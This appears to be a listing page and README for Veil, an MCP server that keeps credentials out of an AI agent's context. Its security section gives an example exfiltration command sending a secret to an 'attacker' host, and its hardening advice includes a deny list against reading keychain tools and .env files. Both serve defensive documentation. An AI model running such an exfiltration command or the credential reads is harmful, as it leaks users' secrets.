veilform
Veil is a local MCP server that lets an AI agent ask for, store, list, rotate, delete, and use credentials without ever seeing their values.
Collect secrets safely: open a local 127.0.0.1 form for API keys, tokens, passwords, or other typed fields; the agent only receives names/status.
Blind input any data: collect rich forms, sections, repeaters/tables, CSV/spreadsheet pastes, files, and validated fields, then send values to stores, HTTP APIs, SQL, files, callbacks, or OPS data loads.
Preview complex forms: validate a
blind_inputschema and get a local mock-up before collecting values.Manage secrets: list secret names and metadata, delete secrets, and re-open intake to rotate existing secrets.
Use secrets without exposing them: run
execcommands or HTTP requests with${secret:NAME}resolved inside the server, after literal-action approval and with redacted output.Write secrets to destinations: update
.envfiles locally or over SSH, JSON/YAML keys, systemd environment files, GitHub Actions secrets, or the clipboard without revealing values.Wait for human action: poll pending requests/approvals and return structural results.
Capture credentials from websites: use a server-owned browser to log in and extract credential values from the DOM without page text reaching the model.
Log in with stored credentials: fill login forms in the server-owned browser using stored secrets and save encrypted sessions.
Provision SSH keys: generate ed25519 keys, confirm host fingerprints, optionally request a one-time SSH password, install the public key, and test access.
Run remote SSH commands: execute approved commands on allowlisted SSH hosts with secrets delivered through stdin/env, never argv, and with redacted output.
Allows storing and resolving credentials through 1Password as a configured secret destination.
Allows writing and updating secrets in .env files, locally or over SSH, changing only specified keys while preserving comments and other entries.
Allows writing and updating secrets for GitHub Actions, such as repository or environment secrets, via the secret_write tool.
Enables capturing a Mercado Pago production access token from its panel via web_capture and storing it without exposing it to the model.
Allows making approved HTTP requests to the Stripe API using a stored Stripe API key, with the key resolved only at use time and redacted from output.
Supports HashiCorp Vault as a configured destination for storing and resolving secrets.
Allows writing secrets into YAML files as a secret_write target.
Click on "Deploy Server".
Wait a few minutes for the server to deploy. Once ready, it will show a "Started" state.
In the chat, type
@followed by the MCP server name and your instructions, e.g., "@veilformask me for my Stripe secret key and store it safely"
That's it! The server will respond to your query, and you can continue using it as needed.
Here is a step-by-step guide with screenshots.
English · Español
Veil
Let an AI agent ask for, store and use credentials — without ever seeing them.
Threat model · Security policy · Changelog
Veil (@asteby/veil) is an open-source Model Context Protocol server (stdio, TypeScript). The agent sends only metadata (a form schema); you type the values in a page served on http://127.0.0.1; they go straight to a destination you allowlisted. The agent gets back names and statuses, never values.
Why
Secrets pasted into a chat stay in the chat. Once a key is in the conversation it is part of the model's context and of whatever the client stores. Veil keeps the value on a local page and out of the conversation.
Agents need to use credentials, not read them. The agent writes
${secret:NAME}; the server resolves it inside its own process at the moment of use, after you approve the literal action, and scrubs the output.Real work is more than one API key. Price lists pasted from a spreadsheet, customer data, SSH keys for a new server, a token that has to end up in a production
.env, an encrypted backup of everything, a key shared with a teammate's agent: all with the same flow and an audit trail.
Without Veil
You: here's the token: APP_USR-4821-…-9f3c
Agent: Thanks! Writing it to /etc/acme.env:
MP_ACCESS_TOKEN=APP_USR-4821-…-9f3c
↳ the value is now in the model's context
and in the conversation history.With Veil
Agent: secret_request({fields:[{name:"MP_ACCESS_TOKEN"}]})
→ a local page opens; you paste the token there
Agent: ← {status:"completed", stored:["MP_ACCESS_TOKEN"]}
Agent: secret_write({name:"MP_ACCESS_TOKEN",
target:{kind:"env-file", host:"prod-vps", …}})
→ you approve the exact write
Agent: ← {written:true, keys:[{key:"MP_ACCESS_TOKEN", action:"updated"}]}Related MCP server: secure-browser-mcp
How it works
The model calls a tool with metadata only. Destinations, hosts, paths, tables and sites must be in your config (allowlist).
A one-time link
http://127.0.0.1:<port>/p/<256-bit token>reaches you via MCP URL elicitation when the client supports it (otherwise it is returned for the client to show, and opened withxdg-open/openifui.openBrowser). The first browser that opens it binds it with an HttpOnly cookie; it expires in 10 min.You fill in or approve. CSRF token + Origin/Host checks + strict nonce CSP; nothing third-party; no autocomplete.
Values go to the destination from this process (stdin/env, never argv; never logged).
Tool results are structural; a final scrub removes any handled value and its encodings.
Every use is audited (hash-chained JSONL).
veil verify-auditchecks the chain.
Capabilities
Capability | Tools | What the model gets | |
Blind forms — secrets, or rich schemas: sections, number/money/date/select/multiselect/boolean/file, |
|
| |
Use without seeing — |
| exit code / HTTP status + redacted output | |
Web capture — a Chromium window owned by the server; you log in, it extracts the value DOM → store |
|
| |
SSH keys — generate, install with a one-time password, test, run commands |
| fingerprints, access test, redacted output | |
Write to where it's needed — |
|
| |
Stores — OS keychain, Veil's own encrypted store (master password, no install needed), encrypted file (AES-256-GCM), |
| names + metadata (created, last used, expiry, rotation due) | |
Encrypted backup & sync — envelope-encrypted bundle to a folder, SSH, private git repo, S3/R2, WebDAV or HTTP; anti-rollback, conflict detection, key rotation |
| counts and names | |
Share by token — chosen secrets, expiry, max views, optional passphrase; the token is shown only on the local page |
|
| |
Encrypted |
| key names, recipients, which keys changed | |
Zero-config setup — diagnostics with the exact fix per OS/distro, actionable errors in English and Spanish |
| checks + fix commands (never secrets) |
What it looks like
Real screenshots of the local pages, regenerated with Playwright from the actual UI (sample data: “Acme Store”). They follow your GitHub theme.
Install in Claude Code
Requirements: Node ≥ 20.11 — nothing else at runtime (pnpm to build from source). Not published to npm yet, so install from a clone:
git clone https://github.com/asteby/veil && cd veil
pnpm install && pnpm build
claude mcp add veil -- node "$PWD/dist/cli.js"Then ask the agent for something that needs a credential (“set up the payment provider token for production”) and it will open the local page. Once published: claude mcp add veil -- npx -y @asteby/veil.
Formerly
veilform. Nothing to migrate by hand: theveilformcommand stays as an alias,VEILFORM_*variables still work (with a deprecation warning; useVEIL_*),~/.config/veilformis used while~/.config/veildoes not exist (veil doctorshows themv), secrets in the keychain serviceveilformand files written before (encrypted store, bundles, shares, encrypted.envwith#/veilform-env v1/enc:v1:) keep opening. Re-register the MCP server under the new name:claude mcp remove veilform && claude mcp add veil -- node "$PWD/dist/cli.js". Details in the CHANGELOG.
The OS keychain is used when it works (Linux: secret-tool from libsecret-tools + GNOME Keyring/KWallet; macOS: the built-in security); when it does not, Veil uses its own encrypted store and needs no extra package. Optional, only for the features that use them: playwright-core + Chromium for web_capture, psql for SQL sinks, gh for GitHub secrets, OpenSSH for SSH features, git for git sync targets. veil doctor tells you exactly what is missing and the command to install it.
First use
node dist/cli.js init # once published: npx @asteby/veil initinit runs the doctor, shows a plan and, after you confirm (--yes to skip the question, --dry-run to only look), applies user-level changes only: it creates ~/.config/veil (0700), tightens permissions and writes a config.json whose default destination works without installing anything:
OS keychain usable →
local= keychain withfallback: "auto"(if the keychain later breaks, values go to Veil's encrypted store).OS keychain missing/locked/unsupported →
local= Veil's encrypted store (encrypted-filewithkey: {source: "master"}, file~/.config/veil/local-vault.json).
It never runs sudo and never asks for a secret. Commands that need privileges (e.g. sudo apt install -y libsecret-tools) are printed for you to copy. An optional postinstall only prints a hint; set VEIL_POSTINSTALL=init to run init --dry-run right after installing.
The encrypted store is one file in the existing encrypted-file format: AES-256-GCM per value (the name is the AAD), key derived with argon2id (Node ≥ 24.7; scrypt N=2^17 otherwise) from a master password:
The first time a value has to go there, the local page (127.0.0.1) asks you to define the master password right there — never in the chat, MCP arguments or argv. You can also do it ahead of time:
veil unlock,veil init --master, or the MCP toollocal_unlock.Unlocking keeps only the derived key in memory: in the session agent (
veil agent) when it runs — then every Veil process shares it andveil lockforgets it — or inside the MCP process, forlocalVault.unlockMinutes(default 15).Later, when the keychain works, you can save the derived key there so the store opens without typing the password:
veil unlock --save-keychain(--forget-keychainundoes it).veil unlock --change-passwordre-encrypts everything under a new password.No plaintext is ever written to disk; values and the master password are registered in the scrub list before anything else and never reach responses, logs or the audit trail.
If you forget the master password the data cannot be recovered — by design, there is no back door. Keep the password in your password manager or on paper, and back up
local-vault.json(it is useless without the password). For an off-machine encrypted copy useveil export/vault_sync.
When the default destination is the keychain and it fails during a secret_request, the page offers to continue with the encrypted store (asking for — or creating — the master password on that same page) instead of failing, and shows the exact command to fix the keychain for good. Set fallback: "never" on a keychain destination to forbid that.
Configuration is an allowlist: copy
examples/config.example.jsonto~/.config/veil/config.json(or letinitwrite a minimal one) and keep only what you need. Without a config file there is one destination,local(OS keychain,fallback: "ask": the page offers the encrypted store if the keychain fails). Check it withveil check-configandveil doctor.Environment:
VEIL_HOME(default~/.config/veil),VEIL_CONFIG,VEIL_AGENT(label written to the audit log),VEIL_KEY_FILE(key file for encrypted.env),VEIL_POSTINSTALL.Recommended Claude Code hardening (
.claude/settings.json): deny the agent's own tools access to what this server protects, e.g."deny": ["Read(~/.config/veil/**)", "Bash(secret-tool:*)", "Bash(security:*)", "Read(**/.env)"].
Troubleshooting
Run veil doctor (or the read-only MCP tool doctor; --json for machines). It checks Node/crypto (argon2id), the keychain backend (secret-tool, D-Bus session, Secret Service provider and whether the default keyring is unlocked on Linux; security on macOS; on Windows the Credential Manager backend is planned and the encrypted store is used), the default destination, the encrypted store and session agent, permissions of ~/.config/veil, and ssh/git/gh/psql/Chromium for the features that use them. Every problem lists its impact and the exact command for your distribution (apt, dnf, pacman, zypper, apk, brew, winget). It runs nothing privileged and asks for nothing secret.
Errors are structured — {error, code, help:{en,es}, fix:{en,es,command, alternative}} — in MCP responses, and translated on the local page:
Code | Meaning | Fix |
|
|
|
| the keyring is locked / waiting for an unlock prompt | unlock "Login" in Passwords and Keys ( |
| no keychain backend on this OS yet (Windows) |
|
| the encrypted store is locked | MCP |
| the encrypted store has no master password yet | define it on the local page ( |
| the destination is not in |
|
| wrong master password / temporary lockout after 5 failures | try again later |
Sync, sharing and encrypted .env files
Every result is names, counts and ids only; passphrases and tokens are typed or shown on the local page.
Bundle (manifest.json + o/<random id> per secret, or one .vfb file): one random AES-256-GCM data key (DEK) per secret, wrapped by a KEK = HKDF(argon2id/scrypt(passphrase) ‖ optional key file / keychain secret). Names and metadata live only in the encrypted index; the header (format version, bundle id, monotonic seq, key parameters, sha256 of each object) is the AAD of the index, so swapped, truncated, edited or older (rollback) bundles are rejected. Each secret carries a vector clock: vault_sync never overwrites a concurrent change silently (strategy: report, keep-local, take-remote, keep-both). CLI: veil export|import|sync|rekey.
Targets (sync.targets in the config, allowlist): dir, ssh (host from ssh.hosts), git (private repo; git spawned by argv, credentials from your ssh-agent/credential helper), s3 (S3/R2/MinIO, built-in SigV4), webdav, http. Credentials for targets are references to the local store (tokenRef, accessKeyRef…), never inline.
"sync": {
"targets": { "r2": { "type": "s3", "endpoint": "https://<account>.r2.cloudflarestorage.com", "bucket": "vault", "accessKeyRef": "R2_ID", "secretKeyRef": "R2_SECRET" },
"repo": { "type": "git", "url": "git@github.com:me/vault-backup.git" } },
"secondFactor": { "type": "key-file", "path": "~/.config/veil/sync.key" },
"shareTarget": "r2"
}Share token = vfs1://<target>/<share_id>#<key> — the key is in the URL fragment (never sent to any server). The bundle is encrypted with HKDF(key ‖ argon2id(passphrase)) when require_passphrase; expiry and max views are inside the authenticated header. A person opens it with veil share open (local page, token in the fragment or pasted, values hidden again after N s); another agent uses share_import({token_file}) and then secret_use.
Encrypted .env (#/veil-env v1 header, KEY="veil:1:…" per value, comments/order kept, whole-file MAC, N recipients). secret_use({env_file}) and secret_write({from:{kind:"env-enc"}}) use them without the model seeing values:
veil env keygen ~/.config/veil/keys/myapp.key # 0600, outside the repo
veil env encrypt .env.production --key-file ~/.config/veil/keys/myapp.key # + passphrase on TTY
veil env hook install # pre-commit refuses plaintext .env
veil run --env .env.production -- node server.js # values only in the child env; output redacted
veil env unlock .env.production --status # which unlock methods work here (no values)
veil env share .env.production --expires 1h --max-views 1 # token that unlocks ONLY this fileUnlock methods: key file (--key-file, VEIL_KEY_FILE, env.keyFiles), OS keychain (env.keychain), systemd credential (LoadCredential=veil-key:…, see examples/systemd/), session agent (veil agent, veil lock), passphrase (TTY or local page, attempts limited), share token. Limits and comparison with age/sops/1Password/Vault: THREAT-MODEL.md §8.
Examples
Stripe key, then a call: secret_request({title:"Stripe", fields:[{name:"STRIPE_KEY", label:"Secret key", pattern:"sk_(live|test)_[A-Za-z0-9]+"}]}) → you paste it in the local page → {stored:["STRIPE_KEY"]} → secret_use({action:"http", method:"GET", url:"https://api.stripe.com/v1/balance", headers:{Authorization:"Bearer ${secret:STRIPE_KEY}"}}) → the approval page shows exactly that request → {http_status:200, body:"…"} (the key is redacted if the API echoes it).
Token to a production .env over SSH: secret_write({name:"MP_ACCESS_TOKEN", target:{kind:"env-file", host:"prod-vps", path:"/etc/myapp/myapp.env", key:"MP_ACCESS_TOKEN"}, dry_run:true}) → {changes:[{key:"MP_ACCESS_TOKEN", action:"updated"}]}. Without dry_run, after your approval, the server reads the remote file over SSH, changes only that key (comments and other keys kept), uploads it on stdin to a temp file, chmod 0600, optional chown/backup, and mv atomically.
Capture a token from a web panel without the model seeing it: web_capture({site:"mercadopago", name:"MP_ACCESS_TOKEN", steps:[…], extract:{selector:"[data-testid=access-token]", regex:"(APP_USR-[\\w-]+)"}}) — a Chromium window owned by this server opens; you log in (password/2FA never touch the model); you can edit the steps on the approval page; the value goes DOM → store.
SSH key for a new VPS: ssh_key_provision({host:"prod-vps", alias:"deploy_key", password:true}) → the page shows the host-key fingerprint to compare with your provider, asks the one-time root password, installs the public key, tests access. Then ssh_exec({host:"prod-vps", command:"systemctl restart myapp"}).
Batch of USD prices into Postgres: blind_input with a repeater rows:[sku, price(money USD)] and sink {type:"sql", database:"appdb", table:"public.product_prices", mode:"upsert", rows:"rows", columns:{…}, dry_run:true}. You paste the rows from a spreadsheet; values travel as COPY … FROM STDIN data into a typed temp table and INSERT … SELECT in one transaction (never as SQL text).
Sensitive customer data: blind_input with name, email, tax id (pattern), phone and an http sink to your CRM; the model receives only the created ids.
Back up and hand over a key: vault_sync({target:"r2"}) → you type the backup passphrase on the local page → {target:"r2", pushed:{seq:7, count:12}}. Then share_create({names:["STRIPE_KEY"], expires_in:"1h", max_views:1}) → the token appears only on your page; your teammate's agent runs share_import({token_file}) and uses it with secret_use.
Security
What it protects
Values never enter the model's context: tool results are structural (names, statuses, counts, ids, error codes), and a last-line scrub removes any handled value and its common encodings. Property tests check that tool responses, the JSON-RPC wire, the audit log and stderr never contain the value.
Values never go into argv of spawned processes (stdin, env, FIFOs instead) or into logs.
The local page is single-use, bound to
127.0.0.1, with CSRF, Origin/Host and DNS-rebinding checks and a strict CSP; model-provided text is rendered withtextContentonly.Every new action (command, HTTP request, write target, sink, SSH command, capture plan) needs a click on a page that shows it literally. “Remember” is keyed to the exact fingerprint; any change asks again.
Backups, shares and encrypted
.envfiles are authenticated end to end (AES-256-GCM, argon2id/scrypt, anti-rollback); storage targets only see opaque blobs. Passphrases and the master password are typed only on the local page or a TTY.
What it does not protect (read the threat model)
An action you approve that sends or transforms the value (
curl https://attacker/?k=${secret:X}). The approval page shows the literal action and warns on shells and network/encoding tools, but you decide.Malware or an agent with an unrestricted shell running as your OS user: it can read the keychain and the files Veil writes. Restrict the agent's tools (see the hardening above) or sandbox it.
A browser the model can see (browser extension, Playwright MCP, computer use) opening a page that shows a secret. Use
web_capture, which returns nothing but status.A share token or master password that leaks, or one you forget (no recovery by design); revoking a share does not make a reader forget — rotate.
Redaction is heuristic: very short values and exotic encodings are not detected. JavaScript strings cannot be zeroised.
How it compares
Other good tools attack nearby problems. They are often complementary rather than alternatives. Descriptions are based on each project's public documentation; check it for current details.
Approach | What it solves well | Where Veil fits |
Password managers / 1Password ( | Storing and sharing secrets for people and teams, policies, rotation. 1Password has publicly stated it will not expose raw credentials through MCP and favours injecting them on the agent's behalf. | Veil can use 1Password Connect as a destination: you type the value in the local form and it is written there server to server. |
HashiCorp Vault / Infisical | Central secret storage with access policies, audit, leases and (in Vault) dynamic secrets. | Also destinations ( |
Encrypted config in git (sops, age, dotenvx) | Committing encrypted secrets next to the code, with team recipients and CI decryption. | Veil's encrypted |
Injection proxies and brokers for agents (e.g. OneCLI, BlindKey) | The agent uses placeholders and a gateway/broker swaps in the real credential when the request leaves; well suited to frequent API calls. | Focuses on getting values in (forms, tables, web capture, SSH keys) and out to places ( |
Development
pnpm install
pnpm typecheck && pnpm lint && pnpm test # vitest: unit, property, simulated APIs, sshd loopback, Postgres (docker) if available
pnpm test:e2e # Playwright: forms, approval, setup/fallback, share reveal, encrypted .env editREADME visuals: node scripts/readme-assets/make-svgs.mjs (animated SVGs and icons) and npx playwright test --config scripts/readme-assets/playwright.config.ts (screenshots and recording from the real UI; needs ffmpeg with libwebp).
Deviations from the original design brief (documented): the keychain uses the platform CLIs instead of @napi-rs/keyring (no native addon); encrypted-file uses Node's AES-256-GCM + scrypt/argon2id instead of age/libsodium; property tests use a small seeded PRNG instead of fast-check. All three because the build had to work offline with the cached dependencies, and they keep the runtime dependency list to the MCP SDK and zod.
License
Available Tools
13 toolsblind_inputCollect any values blindly (forms, tables, CSV)A
Generic blind input: send ONLY a schema (sections, typed fields, validations, showIf conditions, repeaters/tables with CSV import) and a sink (store, http, sql, file, ops-dataload, callback). The person fills the local page; values go directly to the sink. You receive {request_id, status, rows_written, ids, stored, keys, field_errors:[{field, code}]} and never values. Non-store sinks need the person's explicit approval on the same page (it shows the template with ${field} placeholders). Use blind_input_preview first to validate a complex schema.
| Name | Required | Description | Default |
|---|---|---|---|
| sink | Yes | ||
| title | Yes | ||
| schema | Yes | ||
| metadata | No | ||
| description | No | ||
| submit_label | No |
blind_input_previewValidate a blind_input schemaBRead-only
Validates a schema (and optional sink) and returns a structural summary plus a local preview URL with a disabled mock-up of the form. No values involved.
| Name | Required | Description | Default |
|---|---|---|---|
| sink | No | ||
| title | No | ||
| schema | Yes |
secret_deleteDelete a stored secretBDestructive
Deletes a secret by name (optionally only from one destination).
| Name | Required | Description | Default |
|---|---|---|---|
| name | Yes | ||
| destination | No |
secret_listList stored secrets (names only)ARead-only
Lists secret names with metadata (destination, created/updated/last used, expiry, rotation due, tags, project) and what this server is allowed to use (destinations, ssh hosts, databases, web sites, write targets). Never values.
| Name | Required | Description | Default |
|---|---|---|---|
| tag | No | ||
| project | No | ||
| destination | No |
secret_requestAsk the person for credentialsA
Opens a LOCAL page (http://127.0.0.1) with the given fields so the person can type API keys, tokens or passwords. Values go straight from the browser to the configured destination (OS keychain, encrypted file, .env, remote store...). Returns {request_id, status, stored:[names]} (plus url when the client cannot open it: show the url to the person, then call secret_wait). Use the stored names later as ${secret:name}. You will NEVER receive secret values: only names, statuses, counts, ids and fingerprints. Do not ask the person to paste secrets in chat; use these tools instead. Do not try to read the stores, the .env files written by this server, or the veilform directory with other tools.
| Name | Required | Description | Default |
|---|---|---|---|
| title | Yes | ||
| fields | Yes | ||
| metadata | No | ||
| description | No | ||
| destination | No |
secret_rotateAsk the person for a new value of an existing secretA
Re-opens the intake page for an existing secret (same label, destination and metadata). Use when secret_list shows expired or rotation_due.
| Name | Required | Description | Default |
|---|---|---|---|
| name | Yes | ||
| title | No |
secret_useUse secrets without seeing them (exec / http)A
Runs an action with secrets resolved inside this server at the moment of use. exec: argv without shell (secrets via env or stdin), or a shell script where ${secret:name} becomes an env var. http: request to an allowlisted https host with ${secret:name} in url/headers/body. Every NEW action (exact fingerprint) needs the person's approval on a local page that shows the literal action; they may choose to remember it. Output is redacted (raw, base64, hex, url-encoded, quoted variants) and size-limited.
| Name | Required | Description | Default |
|---|---|---|---|
| cwd | No | ||
| env | No | exec: env vars for the child; values may contain ${secret:name} | |
| url | No | http: https URL on an allowlisted host | |
| body | No | http: body; may contain ${secret:name} | |
| names | No | secrets used (optional; derived from ${secret:...} references) | |
| shell | No | exec: POSIX sh script; ${secret:name} becomes an env var reference inside the child | |
| stdin | No | exec: stdin for the child; may contain ${secret:name} | |
| action | Yes | ||
| method | No | http: method (default GET) | |
| command | No | exec: argv, run WITHOUT a shell; ${secret:..} not allowed here | |
| headers | No | http: headers; values may contain ${secret:name} | |
| timeout_ms | No | ||
| redact_env_files | No |
secret_waitWait for the personCRead-only
Waits (default 120 s) for a pending request/approval and returns its structural result.
| Name | Required | Description | Default |
|---|---|---|---|
| id | Yes | ||
| timeout_seconds | No |
secret_writeCopy a stored secret to a file or serviceA
Writes stored values to an allowlisted target without exposing them: env-file (local or ssh host; updates only that key, keeps comments, 0600, atomic, optional backup), json/yaml by key path, systemd EnvironmentFile drop-in, GitHub Actions secret (gh, via stdin) or the clipboard (only after the person clicks, auto-cleared). First use of each target needs approval. dry_run tells which keys would be created/updated. Returns {written, target, keys:[{key, action}]}.
| Name | Required | Description | Default |
|---|---|---|---|
| keys | No | secret name → key in the target (default: the target key or the secret name) | |
| name | No | ||
| names | No | ||
| target | Yes | ||
| dry_run | No |
ssh_execRun a remote command with stored secretsA
Runs a shell command on an allowlisted SSH host (using the provisioned key). env values may contain ${secret:name}; they are delivered through stdin as exports, never argv. Needs approval per exact command; output redacted.
| Name | Required | Description | Default |
|---|---|---|---|
| env | No | remote env vars; values may contain ${secret:name}; delivered via stdin, not argv | |
| host | Yes | ||
| command | Yes | ||
| timeout_ms | No |
ssh_key_provisionCreate and install an SSH key (blind)A
Generates an ed25519 key locally (private key in the secret store + private ssh-agent, or a 0600 file), shows the host key fingerprint to the person for confirmation, optionally asks them for a one-time SSH password on the local page, installs the public key in authorized_keys and tests access. Returns only alias and fingerprints.
| Name | Required | Description | Default |
|---|---|---|---|
| host | Yes | key of ssh.hosts in config | |
| alias | Yes | ||
| storage | No | store | |
| password | No | ask the person for a one-time SSH password to install the key |
web_captureCapture a credential from a web panel (blind)A
Opens a browser window OWNED BY THIS SERVER (not yours) on an allowlisted site. The person logs in there (password/2FA never reach you). Declared steps (navigate/click/wait/wait_for_url/fill/press) run after approval (the person can edit them), then the extractor reads the value from the DOM straight into the store. You get only {stored:[name]} or {failed_step, error_code}; never page text, HTML or screenshots. Prefer this over any browser tool you control when a page shows a secret.
| Name | Required | Description | Default |
|---|---|---|---|
| url | No | ||
| name | Yes | ||
| site | Yes | ||
| steps | No | ||
| extract | Yes | ||
| metadata | No | ||
| destination | No |
web_loginLog in to a site with stored credentials (blind)B
Fills a login form inside this server's own browser using ${secret:name} values (only on allowlisted origins) and saves the session encrypted with a TTL for later web_capture calls.
| Name | Required | Description | Default |
|---|---|---|---|
| url | No | ||
| site | Yes | ||
| steps | Yes | ||
| save_session | No |
Tool Schema Changelog
Recent tool additions, removals, and schema changes observed during successful MCP inspections.
13 tool updates
v0.1.0- First observed
blind_input - First observed
blind_input_preview - First observed
secret_delete - First observed
secret_list - First observed
secret_request - First observed
secret_rotate - First observed
secret_use - First observed
secret_wait - First observed
secret_write - First observed
ssh_exec - First observed
ssh_key_provision - First observed
web_capture - First observed
web_login
TDQS
Scored across 13 tools
Each tool has a genuinely distinct purpose grouped around secrets, blind input, SSH, and web capture. Minor potential confusion between secret_request and blind_input (both open an intake page) and between blind_input and blind_input_preview, but descriptions clearly differentiate (preview validates only, no values).
Tools are consistently grouped by domain prefix (secret_*, ssh_*, web_*, blind_input_*) with predictable suffixes. Slight inconsistency in that some read as resource_verb (secret_list) while others are verb_noun (ssh_key_provision), but readability is high throughout.
13 tools is a well-scoped count for a security-focused server covering multiple sub-domains (secrets lifecycle, SSH, web automation, blind input). Each tool earns its place with no obvious redundancy.
Covers a full secret lifecycle (request, list, rotate, delete, use, write) plus SSH key provisioning/exec and web login/capture, with preview and wait support. Reading secret values is deliberately omitted by design, so coverage is strong for the stated purpose.
Maintenance
Related MCP Connectors
Logs your AI agent into websites, catches verification codes, and asks you before anything risky.
Let AI agents use any website you're logged in to. Sessions stay encrypted on your machine.
1Let AI agents use your real, signed-in Chrome: tabs, clicks, forms, screenshots and video.
Related MCP Servers
- AlicenseNot gradedqualityDmaintenanceZero-knowledge credential injection for AI agents. Your agent authenticates to websites and APIs without ever seeing a password, TOTP code, or API key.15 npm1MIT

secure-browser-mcpofficial
AlicenseNot gradedqualityBmaintenanceEnables secure browser automation by letting agents fill Turnkey-stored secrets into web forms without the secret values ever appearing in the conversation, transcript, or model context.5 npm6MIT- AlicenseNot gradedqualityCmaintenanceEnables AI agents to securely control a user's existing Chrome profile locally, providing typed browser actions, form and editor support, WordPress workflows, terminal automation, and Figma inspection with policy-based authorization and redacted auditing.MIT
- AlicenseNot gradedqualityCmaintenanceEnables AI assistants to securely control a real, logged-in browser with per-site permissions, per-action approvals, secret redaction, and a tamper-evident audit log, all locally without a cloud relay.377,314 npm1MIT